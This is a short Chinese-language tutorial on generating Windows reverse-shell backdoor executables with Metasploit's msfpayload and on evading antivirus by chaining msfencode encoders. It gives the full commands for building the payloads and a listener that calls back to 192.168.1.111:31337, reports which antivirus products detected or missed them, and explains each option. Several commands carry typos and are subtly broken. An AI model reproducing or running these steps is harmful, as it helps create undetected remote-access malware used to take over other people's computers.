msfencode主要功能是对输入过来的数据进行编码,如果不指定编码方式则使用默认编码,然后将编码后的数据包装成可执行文件,或者将数据附着到一个指定的已存在的文件上达到表面免杀效果。

(1) 使用msfpayload创建可执行后门

  1. msfpayload windows/shell_reverse_tcp 0 #查看选项
  2. msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X> /var/www/payloadl .exe
  3. msf> use exploit/multi/handler
  4. set PAYLOAD windows/shell_reverse_tcp
  5. set LHOST 192.168.1.111
  6. set LPORT 31337
  7. exploit

(2) 使用msfencode编码后门-过杀软

msfencode -1列出可用编码器,使用R参数作为raw输出至管道,再经过msfencode处理,最后导出。

  1. msfpayload windows/shellreversetcp LHOST=192.168.1.111 LP0RT=31337 R | msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe

(3) 多次编码

简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17次循环编码。

  1. msfpayload windows/meterpreter/reverse tcp LHOST=192.168.1.111 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5-t exe -o /var/www/payload3 .exe

(4) 测试如下

  1. 1) 使用此命令生成的后门也被MSE杀到;
  2. 2) 未编码的后门或编码次数较少的后门可以直接被秒杀;
  3. 3) windows/x64/meterpreter/reverse_tcp生成的后门未经任何处理既然不被杀,看来杀毒软件傻逼了;
  4. 4) x86编码器编码的后门在64位机器上无法执行;
  5. 5) 360有个沙箱功能,后门文件右键选择“在360隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。

(5) 参数说明

  1. -a 指定CPU的类型
  2. -b 指定需要去除的字符,帮助中的示例00 ff这两种数值在网络传送中会被截断造成失败
  3. -c 指定编码次数
  4. -d 指定exe模板搜索路径
  5. -e 指定使用的编码器
  6. -i 指定要编码的数据文件
  7. -k 设置生成的文件运行后的payload进程与模板文件进程分离
  8. -l 列出可用payload
  9. -n 输出编码器信息
  10. -o 输出文件
  11. -p 指定编码平台linux or windows
  12. -s 指定编码后的字节数(payload的)
  13. -t 生成文件类型
  14. -v 增加详细


参考资料

  1. https://samsclass.info/120/proj/p6x-AV-bypass.html

public.png